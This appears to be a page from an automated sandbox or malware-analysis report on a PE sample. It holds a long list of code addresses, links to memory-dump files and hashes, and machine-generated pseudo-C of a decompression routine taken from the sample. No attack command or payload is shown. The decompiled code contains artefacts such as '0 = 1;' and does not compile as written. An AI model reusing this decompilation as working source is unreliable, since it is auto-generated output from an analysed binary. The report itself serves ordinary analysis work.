                                                                                                        0x00406101
                                                                                                        0x00406104
                                                                                                        0x00406109
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067a0
                                                                                                        0x004067a0
                                                                                                        0x004067a6
                                                                                                        0x004067ac
                                                                                                        0x004067b2
                                                                                                        0x004067cc
                                                                                                        0x004067cf
                                                                                                        0x004067d5
                                                                                                        0x004067e0
                                                                                                        0x004067e0
                                                                                                        0x004067e2
                                                                                                        0x004067b4
                                                                                                        0x004067b4
                                                                                                        0x004067c3
                                                                                                        0x004067c7
                                                                                                        0x004067c7
                                                                                                        0x004067ec
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004067ee
                                                                                                        0x004067f2
                                                                                                        0x004069a1
                                                                                                        0x004069a1
                                                                                                        0x00000000
                                                                                                        0x004069a1
                                                                                                        0x004067f8
                                                                                                        0x004067fe
                                                                                                        0x00406805
                                                                                                        0x0040680d
                                                                                                        0x00406810
                                                                                                        0x00406813
                                                                                                        0x00406813
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406131
                                                                                                        0x00406131
                                                                                                        0x00406133
                                                                                                        0x00406136
                                                                                                        0x004061a7
                                                                                                        0x004061a7
                                                                                                        0x004061aa
                                                                                                        0x004061ad
                                                                                                        0x004061b4
                                                                                                        0x004061be
                                                                                                        0x00000000
                                                                                                        0x004061be
                                                                                                        0x00406138
                                                                                                        0x00406138
                                                                                                        0x0040613c
                                                                                                        0x0040613f
                                                                                                        0x00406141
                                                                                                        0x00406144
                                                                                                        0x00406147
                                                                                                        0x00406149
                                                                                                        0x0040614c
                                                                                                        0x0040614e
                                                                                                        0x00406153
                                                                                                        0x00406156
                                                                                                        0x00406159
                                                                                                        0x0040615d
                                                                                                        0x00406164
                                                                                                        0x00406167
                                                                                                        0x0040616e
                                                                                                        0x00406172
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x0040617a
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406174
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x00406169
                                                                                                        0x0040617e
                                                                                                        0x00406181
                                                                                                        0x0040619f
                                                                                                        0x0040619f
                                                                                                        0x004061a1
                                                                                                        0x00000000
                                                                                                        0x00406183
                                                                                                        0x00406183
                                                                                                        0x00406183
                                                                                                        0x00406186
                                                                                                        0x00406189
                                                                                                        0x0040618c
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x0040618e
                                                                                                        0x00406191
                                                                                                        0x00406194
                                                                                                        0x00406196
                                                                                                        0x00406197
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x0040619a
                                                                                                        0x00000000
                                                                                                        0x004063d0
                                                                                                        0x004063d0
                                                                                                        0x004063d4
                                                                                                        0x004063f2
                                                                                                        0x004063f2
                                                                                                        0x004063f5
                                                                                                        0x004063fc
                                                                                                        0x004063ff
                                                                                                        0x00406402
                                                                                                        0x00406405
                                                                                                        0x00406408
                                                                                                        0x0040640b
                                                                                                        0x0040640d
                                                                                                        0x00406414
                                                                                                        0x00406415
                                                                                                        0x00406417
                                                                                                        0x0040641a
                                                                                                        0x0040641d
                                                                                                        0x00406420
                                                                                                        0x00406420
                                                                                                        0x00406425
                                                                                                        0x00000000
                                                                                                        0x00406425
                                                                                                        0x004063d6
                                                                                                        0x004063d6
                                                                                                        0x004063d9
                                                                                                        0x004063dc
                                                                                                        0x004063e6
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040643a
                                                                                                        0x0040643a
                                                                                                        0x0040643e
                                                                                                        0x00406461
                                                                                                        0x00406464
                                                                                                        0x00406467
                                                                                                        0x00406471
                                                                                                        0x00406440
                                                                                                        0x00406440
                                                                                                        0x00406443
                                                                                                        0x00406446
                                                                                                        0x00406449
                                                                                                        0x00406456
                                                                                                        0x00406459
                                                                                                        0x00406459
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040647d
                                                                                                        0x0040647d
                                                                                                        0x00406481
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406487
                                                                                                        0x00406487
                                                                                                        0x0040648b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406491
                                                                                                        0x00406491
                                                                                                        0x00406493
                                                                                                        0x00406497
                                                                                                        0x00406497
                                                                                                        0x0040649a
                                                                                                        0x0040649e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064ee
                                                                                                        0x004064ee
                                                                                                        0x004064f2
                                                                                                        0x004064f9
                                                                                                        0x004064f9
                                                                                                        0x004064fc
                                                                                                        0x004064ff
                                                                                                        0x00406509
                                                                                                        0x00000000
                                                                                                        0x00406509
                                                                                                        0x004064f4
                                                                                                        0x004064f4
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406515
                                                                                                        0x00406515
                                                                                                        0x00406519
                                                                                                        0x00406520
                                                                                                        0x00406523
                                                                                                        0x00406526
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x0040651b
                                                                                                        0x00406529
                                                                                                        0x0040652c
                                                                                                        0x0040652f
                                                                                                        0x0040652f
                                                                                                        0x00406532
                                                                                                        0x00406535
                                                                                                        0x00406538
                                                                                                        0x00406538
                                                                                                        0x0040653b
                                                                                                        0x00406542
                                                                                                        0x00406547
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004065d5
                                                                                                        0x004065d5
                                                                                                        0x004065d9
                                                                                                        0x00406977
                                                                                                        0x00406977
                                                                                                        0x00000000
                                                                                                        0x00406977
                                                                                                        0x004065df
                                                                                                        0x004065df
                                                                                                        0x004065e2
                                                                                                        0x004065e5
                                                                                                        0x004065e9
                                                                                                        0x004065ec
                                                                                                        0x004065f2
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f4
                                                                                                        0x004065f7
                                                                                                        0x004065fa
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061ca
                                                                                                        0x004061ca
                                                                                                        0x004061ce
                                                                                                        0x0040693b
                                                                                                        0x0040693b
                                                                                                        0x00000000
                                                                                                        0x0040693b
                                                                                                        0x004061d4
                                                                                                        0x004061d4
                                                                                                        0x004061d7
                                                                                                        0x004061da
                                                                                                        0x004061de
                                                                                                        0x004061e1
                                                                                                        0x004061e7
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061e9
                                                                                                        0x004061ec
                                                                                                        0x004061ef
                                                                                                        0x004061ef
                                                                                                        0x004061f2
                                                                                                        0x004061f5
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004061fb
                                                                                                        0x004061fb
                                                                                                        0x00406201
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406207
                                                                                                        0x00406207
                                                                                                        0x0040620b
                                                                                                        0x0040620e
                                                                                                        0x00406211
                                                                                                        0x00406214
                                                                                                        0x00406217
                                                                                                        0x00406218
                                                                                                        0x0040621b
                                                                                                        0x0040621d
                                                                                                        0x00406223
                                                                                                        0x00406226
                                                                                                        0x00406229
                                                                                                        0x0040622c
                                                                                                        0x0040622f
                                                                                                        0x00406232
                                                                                                        0x00406235
                                                                                                        0x00406251
                                                                                                        0x00406254
                                                                                                        0x00406257
                                                                                                        0x0040625a
                                                                                                        0x00406261
                                                                                                        0x00406265
                                                                                                        0x00406267
                                                                                                        0x0040626b
                                                                                                        0x00406237
                                                                                                        0x00406237
                                                                                                        0x0040623b
                                                                                                        0x00406243
                                                                                                        0x00406248
                                                                                                        0x0040624a
                                                                                                        0x0040624c
                                                                                                        0x0040624c
                                                                                                        0x0040626e
                                                                                                        0x00406275
                                                                                                        0x00406278
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x0040627e
                                                                                                        0x00000000
                                                                                                        0x00406283
                                                                                                        0x00406283
                                                                                                        0x00406287
                                                                                                        0x00406947
                                                                                                        0x00406947
                                                                                                        0x00000000
                                                                                                        0x00406947
                                                                                                        0x0040628d
                                                                                                        0x0040628d
                                                                                                        0x00406290
                                                                                                        0x00406293
                                                                                                        0x00406297
                                                                                                        0x0040629a
                                                                                                        0x004062a0
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a2
                                                                                                        0x004062a5
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062a8
                                                                                                        0x004062ae
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004062b0
                                                                                                        0x004062b0
                                                                                                        0x004062b3
                                                                                                        0x004062b6
                                                                                                        0x004062b9
                                                                                                        0x004062bc
                                                                                                        0x004062bf
                                                                                                        0x004062c2
                                                                                                        0x004062c5
                                                                                                        0x004062c8
                                                                                                        0x004062cb
                                                                                                        0x004062ce
                                                                                                        0x004062e6
                                                                                                        0x004062e9
                                                                                                        0x004062ec
                                                                                                        0x004062ef
                                                                                                        0x004062ef
                                                                                                        0x004062f2
                                                                                                        0x004062f6
                                                                                                        0x004062f8
                                                                                                        0x004062d0
                                                                                                        0x004062d0
                                                                                                        0x004062d8
                                                                                                        0x004062dd
                                                                                                        0x004062df
                                                                                                        0x004062e1
                                                                                                        0x004062e1
                                                                                                        0x004062fb
                                                                                                        0x00406302
                                                                                                        0x00406305
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00406307
                                                                                                        0x00000000
                                                                                                        0x00406307
                                                                                                        0x00406305
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x0040630c
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406347
                                                                                                        0x00406347
                                                                                                        0x0040634b
                                                                                                        0x00406953
                                                                                                        0x00406953
                                                                                                        0x00000000
                                                                                                        0x00406953
                                                                                                        0x00406351
                                                                                                        0x00406351
                                                                                                        0x00406354
                                                                                                        0x00406357
                                                                                                        0x0040635b
                                                                                                        0x0040635e
                                                                                                        0x00406364
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406366
                                                                                                        0x00406369
                                                                                                        0x0040636c
                                                                                                        0x0040636c
                                                                                                        0x00406372
                                                                                                        0x00406310
                                                                                                        0x00406310
                                                                                                        0x00406313
                                                                                                        0x00000000
                                                                                                        0x00406313
                                                                                                        0x00406374
                                                                                                        0x00406374
                                                                                                        0x00406377
                                                                                                        0x0040637a
                                                                                                        0x0040637d
                                                                                                        0x00406380
                                                                                                        0x00406383
                                                                                                        0x00406386
                                                                                                        0x00406389
                                                                                                        0x0040638c
                                                                                                        0x0040638f
                                                                                                        0x00406392
                                                                                                        0x004063aa
                                                                                                        0x004063ad
                                                                                                        0x004063b0
                                                                                                        0x004063b3
                                                                                                        0x004063b3
                                                                                                        0x004063b6
                                                                                                        0x004063ba
                                                                                                        0x004063bc
                                                                                                        0x00406394
                                                                                                        0x00406394
                                                                                                        0x0040639c
                                                                                                        0x004063a1
                                                                                                        0x004063a3
                                                                                                        0x004063a5
                                                                                                        0x004063a5
                                                                                                        0x004063bf
                                                                                                        0x004063c6
                                                                                                        0x004063c9
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x004063cb
                                                                                                        0x00000000
                                                                                                        0x00406658
                                                                                                        0x00406658
                                                                                                        0x0040665c
                                                                                                        0x00406983
                                                                                                        0x00406983
                                                                                                        0x00000000
                                                                                                        0x00406983
                                                                                                        0x00406662
                                                                                                        0x00406662
                                                                                                        0x00406665
                                                                                                        0x00406668
                                                                                                        0x0040666c
                                                                                                        0x0040666f
                                                                                                        0x00406675
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x00406677
                                                                                                        0x0040667a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406428
                                                                                                        0x00406428
                                                                                                        0x0040642b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406767
                                                                                                        0x00406767
                                                                                                        0x0040676b
                                                                                                        0x0040678d
                                                                                                        0x0040678d
                                                                                                        0x00406790
                                                                                                        0x0040679a
                                                                                                        0x0040679d
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x0040679d
                                                                                                        0x0040676d
                                                                                                        0x0040676d
                                                                                                        0x00406770
                                                                                                        0x00406774
                                                                                                        0x00406777
                                                                                                        0x00406777
                                                                                                        0x0040677a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406824
                                                                                                        0x00406824
                                                                                                        0x00406828
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x00406846
                                                                                                        0x0040684d
                                                                                                        0x00406854
                                                                                                        0x0040685b
                                                                                                        0x0040685b
                                                                                                        0x00406862
                                                                                                        0x00406865
                                                                                                        0x0040686c
                                                                                                        0x00000000
                                                                                                        0x0040686f
                                                                                                        0x0040682a
                                                                                                        0x0040682a
                                                                                                        0x0040682d
                                                                                                        0x00406830
                                                                                                        0x00406833
                                                                                                        0x0040683a
                                                                                                        0x0040677e
                                                                                                        0x0040677e
                                                                                                        0x00406781
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406915
                                                                                                        0x00406915
                                                                                                        0x00406918
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x0040681f
                                                                                                        0x00000000
                                                                                                        0x0040654f
                                                                                                        0x0040654f
                                                                                                        0x00406551
                                                                                                        0x00406558
                                                                                                        0x00406559
                                                                                                        0x0040655b
                                                                                                        0x0040655e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406862
                                                                                                        0x00406862
                                                                                                        0x00406865
                                                                                                        0x0040686c
                                                                                                        0x00000000
                                                                                                        0x0040686f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406594
                                                                                                        0x00406594
                                                                                                        0x00406597
                                                                                                        0x004065cd
                                                                                                        0x004065cd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x00406700
                                                                                                        0x00406700
                                                                                                        0x00406703
                                                                                                        0x00406705
                                                                                                        0x0040698f
                                                                                                        0x0040698f
                                                                                                        0x00000000
                                                                                                        0x0040698f
                                                                                                        0x0040670b
                                                                                                        0x0040670b
                                                                                                        0x0040670e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406714
                                                                                                        0x00406714
                                                                                                        0x00406718
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x00000000
                                                                                                        0x0040671b
                                                                                                        0x00406599
                                                                                                        0x00406599
                                                                                                        0x0040659b
                                                                                                        0x0040659d
                                                                                                        0x0040659f
                                                                                                        0x004065a2
                                                                                                        0x004065a3
                                                                                                        0x004065a5
                                                                                                        0x004065a7
                                                                                                        0x004065aa
                                                                                                        0x004065ad
                                                                                                        0x004065c3
                                                                                                        0x004065c3
                                                                                                        0x004065c8
                                                                                                        0x00406600
                                                                                                        0x00406600
                                                                                                        0x00406604
                                                                                                        0x0040662d
                                                                                                        0x00406630
                                                                                                        0x00406632
                                                                                                        0x00406639
                                                                                                        0x0040663c
                                                                                                        0x0040663f
                                                                                                        0x0040663f
                                                                                                        0x00406644
                                                                                                        0x00406644
                                                                                                        0x00406646
                                                                                                        0x00406649
                                                                                                        0x00406650
                                                                                                        0x00406653
                                                                                                        0x00406680
                                                                                                        0x00406680
                                                                                                        0x00406683
                                                                                                        0x00406686
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x00000000
                                                                                                        0x004066fa
                                                                                                        0x00406688
                                                                                                        0x00406688
                                                                                                        0x0040668e
                                                                                                        0x00406691
                                                                                                        0x00406694
                                                                                                        0x00406697
                                                                                                        0x0040669a
                                                                                                        0x0040669d
                                                                                                        0x004066a0
                                                                                                        0x004066a3
                                                                                                        0x004066a6
                                                                                                        0x004066a9
                                                                                                        0x004066c2
                                                                                                        0x004066c4
                                                                                                        0x004066c7
                                                                                                        0x004066c8
                                                                                                        0x004066cb
                                                                                                        0x004066cd
                                                                                                        0x004066d0
                                                                                                        0x004066d2
                                                                                                        0x004066d4
                                                                                                        0x004066d7
                                                                                                        0x004066d9
                                                                                                        0x004066dc
                                                                                                        0x004066e0
                                                                                                        0x004066e2
                                                                                                        0x004066e2
                                                                                                        0x004066e3
                                                                                                        0x004066e6
                                                                                                        0x004066e9
                                                                                                        0x004066ab
                                                                                                        0x004066ab
                                                                                                        0x004066b3
                                                                                                        0x004066b8
                                                                                                        0x004066ba
                                                                                                        0x004066bd
                                                                                                        0x004066bd
                                                                                                        0x004066ec
                                                                                                        0x004066f3
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x004066f5
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x004066f3
                                                                                                        0x00406606
                                                                                                        0x00406606
                                                                                                        0x00406609
                                                                                                        0x0040660b
                                                                                                        0x0040660e
                                                                                                        0x00406611
                                                                                                        0x00406614
                                                                                                        0x00406616
                                                                                                        0x00406619
                                                                                                        0x0040661c
                                                                                                        0x0040661c
                                                                                                        0x0040661f
                                                                                                        0x0040661f
                                                                                                        0x00406622
                                                                                                        0x00406629
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x0040662b
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00406629
                                                                                                        0x004065af
                                                                                                        0x004065af
                                                                                                        0x004065b2
                                                                                                        0x004065b4
                                                                                                        0x004065b7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406316
                                                                                                        0x00406316
                                                                                                        0x0040631a
                                                                                                        0x0040695f
                                                                                                        0x0040695f
                                                                                                        0x00000000
                                                                                                        0x0040695f
                                                                                                        0x00406320
                                                                                                        0x00406320
                                                                                                        0x00406323
                                                                                                        0x00406326
                                                                                                        0x00406329
                                                                                                        0x0040632c
                                                                                                        0x0040632f
                                                                                                        0x00406332
                                                                                                        0x00406334
                                                                                                        0x00406337
                                                                                                        0x0040633a
                                                                                                        0x0040633d
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064a1
                                                                                                        0x004064a1
                                                                                                        0x004064a5
                                                                                                        0x0040696b
                                                                                                        0x0040696b
                                                                                                        0x00000000
                                                                                                        0x0040696b
                                                                                                        0x004064ab
                                                                                                        0x004064ab
                                                                                                        0x004064ae
                                                                                                        0x004064b1
                                                                                                        0x004064b4
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b9
                                                                                                        0x004064bc
                                                                                                        0x004064bf
                                                                                                        0x004064c2
                                                                                                        0x004064c5
                                                                                                        0x004064c8
                                                                                                        0x004064c9
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064ce
                                                                                                        0x004064d1
                                                                                                        0x004064d4
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064da
                                                                                                        0x004064dc
                                                                                                        0x004064dc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x00406722
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406728
                                                                                                        0x00406728
                                                                                                        0x0040672b
                                                                                                        0x0040672e
                                                                                                        0x00406731
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406736
                                                                                                        0x00406739
                                                                                                        0x0040673c
                                                                                                        0x0040673f
                                                                                                        0x00406742
                                                                                                        0x00406745
                                                                                                        0x00406746
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x0040674b
                                                                                                        0x0040674e
                                                                                                        0x00406751
                                                                                                        0x00406754
                                                                                                        0x00406757
                                                                                                        0x0040675b
                                                                                                        0x0040675d
                                                                                                        0x00406760
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x00406762
                                                                                                        0x004064df
                                                                                                        0x004064df
                                                                                                        0x00000000
                                                                                                        0x004064df
                                                                                                        0x00406760
                                                                                                        0x00406995
                                                                                                        0x00406995
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x004069cc
                                                                                                        0x004069cc
                                                                                                        0x00000000
                                                                                                        0x004069cc
                                                                                                        0x00406819
                                                                                                        0x00406899
                                                                                                        0x00406862

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
                                                                                                        • Instruction ID: 319d18918fa2cc3741333e20ed782d5c303dd2f769888eebbc994f2124d7c2e6
                                                                                                        • Opcode Fuzzy Hash: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
                                                                                                        • Instruction Fuzzy Hash: 29A15171E00229CBDF28CFA8C8547ADBBB1FF44305F15812AD856BB281D7789A96DF44
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 98%
                                                                                                        			E00406767() {
                                                                                                        				void _t533;
                                                                                                        				signed int _t534;
                                                                                                        				signed int _t535;
                                                                                                        				signed int* _t605;
                                                                                                        				void* _t612;
                                                                                                        
                                                                                                        				L0:
                                                                                                        				while(1) {
                                                                                                        					L0:
                                                                                                        					if( *(_t612 - 0x40) != 0) {
                                                                                                        						 *(_t612 - 0x84) = 0x13;
                                                                                                        						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
                                                                                                        						goto L132;
                                                                                                        					} else {
                                                                                                        						__eax =  *(__ebp - 0x4c);
                                                                                                        						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                                                                                        						__ecx =  *(__ebp - 0x58);
                                                                                                        						__eax =  *(__ebp - 0x4c) << 4;
                                                                                                        						__eax =  *(__ebp - 0x58) + __eax + 4;
                                                                                                        						L130:
                                                                                                        						 *(__ebp - 0x58) = __eax;
                                                                                                        						 *(__ebp - 0x40) = 3;
                                                                                                        						L144:
                                                                                                        						 *(__ebp - 0x7c) = 0x14;
                                                                                                        						L145:
                                                                                                        						__eax =  *(__ebp - 0x40);
                                                                                                        						 *(__ebp - 0x50) = 1;
                                                                                                        						 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                                                                                        						L149:
                                                                                                        						if( *(__ebp - 0x48) <= 0) {
                                                                                                        							__ecx =  *(__ebp - 0x40);
                                                                                                        							__ebx =  *(__ebp - 0x50);
                                                                                                        							0 = 1;
                                                                                                        							__eax = 1 << __cl;
                                                                                                        							__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                                                                                        							__eax =  *(__ebp - 0x7c);
                                                                                                        							 *(__ebp - 0x44) = __ebx;
                                                                                                        							while(1) {
                                                                                                        								L140:
                                                                                                        								 *(_t612 - 0x88) = _t533;
                                                                                                        								while(1) {
                                                                                                        									L1:
                                                                                                        									_t534 =  *(_t612 - 0x88);
                                                                                                        									if(_t534 > 0x1c) {
                                                                                                        										break;
                                                                                                        									}
                                                                                                        									switch( *((intOrPtr*)(_t534 * 4 +  &M004069D4))) {
                                                                                                        										case 0:
                                                                                                        											if( *(_t612 - 0x6c) == 0) {
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                                                                        											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                                                                                        											_t534 =  *( *(_t612 - 0x70));
                                                                                                        											if(_t534 > 0xe1) {
                                                                                                        												goto L171;
                                                                                                        											}
                                                                                                        											_t538 = _t534 & 0x000000ff;
                                                                                                        											_push(0x2d);
                                                                                                        											asm("cdq");
                                                                                                        											_pop(_t569);
                                                                                                        											_push(9);
                                                                                                        											_pop(_t570);
                                                                                                        											_t608 = _t538 / _t569;
                                                                                                        											_t540 = _t538 % _t569 & 0x000000ff;
                                                                                                        											asm("cdq");
                                                                                                        											_t603 = _t540 % _t570 & 0x000000ff;
                                                                                                        											 *(_t612 - 0x3c) = _t603;
                                                                                                        											 *(_t612 - 0x1c) = (1 << _t608) - 1;
                                                                                                        											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
                                                                                                        											_t611 = (0x300 << _t603 + _t608) + 0x736;
                                                                                                        											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
                                                                                                        												L10:
                                                                                                        												if(_t611 == 0) {
                                                                                                        													L12:
                                                                                                        													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
                                                                                                        													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
                                                                                                        													goto L15;
                                                                                                        												} else {
                                                                                                        													goto L11;
                                                                                                        												}
                                                                                                        												do {
                                                                                                        													L11:
                                                                                                        													_t611 = _t611 - 1;
                                                                                                        													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
                                                                                                        												} while (_t611 != 0);
                                                                                                        												goto L12;
                                                                                                        											}
                                                                                                        											if( *(_t612 - 4) != 0) {
                                                                                                        												GlobalFree( *(_t612 - 4));
                                                                                                        											}
                                                                                                        											_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                                                                        											 *(_t612 - 4) = _t534;
                                                                                                        											if(_t534 == 0) {
                                                                                                        												goto L171;
                                                                                                        											} else {
                                                                                                        												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
                                                                                                        												goto L10;
                                                                                                        											}
                                                                                                        										case 1:
                                                                                                        											L13:
                                                                                                        											__eflags =  *(_t612 - 0x6c);
                                                                                                        											if( *(_t612 - 0x6c) == 0) {
                                                                                                        												 *(_t612 - 0x88) = 1;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                                                                        											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
                                                                                                        											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
                                                                                                        											_t45 = _t612 - 0x48;
                                                                                                        											 *_t45 =  *(_t612 - 0x48) + 1;
                                                                                                        											__eflags =  *_t45;
                                                                                                        											L15:
                                                                                                        											if( *(_t612 - 0x48) < 4) {
                                                                                                        												goto L13;
                                                                                                        											}
                                                                                                        											_t546 =  *(_t612 - 0x40);
                                                                                                        											if(_t546 ==  *(_t612 - 0x74)) {
                                                                                                        												L20:
                                                                                                        												 *(_t612 - 0x48) = 5;
                                                                                                        												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
                                                                                                        												goto L23;
                                                                                                        											}
                                                                                                        											 *(_t612 - 0x74) = _t546;
                                                                                                        											if( *(_t612 - 8) != 0) {
                                                                                                        												GlobalFree( *(_t612 - 8));
                                                                                                        											}
                                                                                                        											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
                                                                                                        											 *(_t612 - 8) = _t534;
                                                                                                        											if(_t534 == 0) {
                                                                                                        												goto L171;
                                                                                                        											} else {
                                                                                                        												goto L20;
                                                                                                        											}
                                                                                                        										case 2:
                                                                                                        											L24:
                                                                                                        											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
                                                                                                        											 *(_t612 - 0x84) = 6;
                                                                                                        											 *(_t612 - 0x4c) = _t553;
                                                                                                        											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
                                                                                                        											goto L132;
                                                                                                        										case 3:
                                                                                                        											L21:
                                                                                                        											__eflags =  *(_t612 - 0x6c);
                                                                                                        											if( *(_t612 - 0x6c) == 0) {
                                                                                                        												 *(_t612 - 0x88) = 3;
                                                                                                        												goto L170;
                                                                                                        											}
                                                                                                        											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
                                                                                                        											_t67 = _t612 - 0x70;
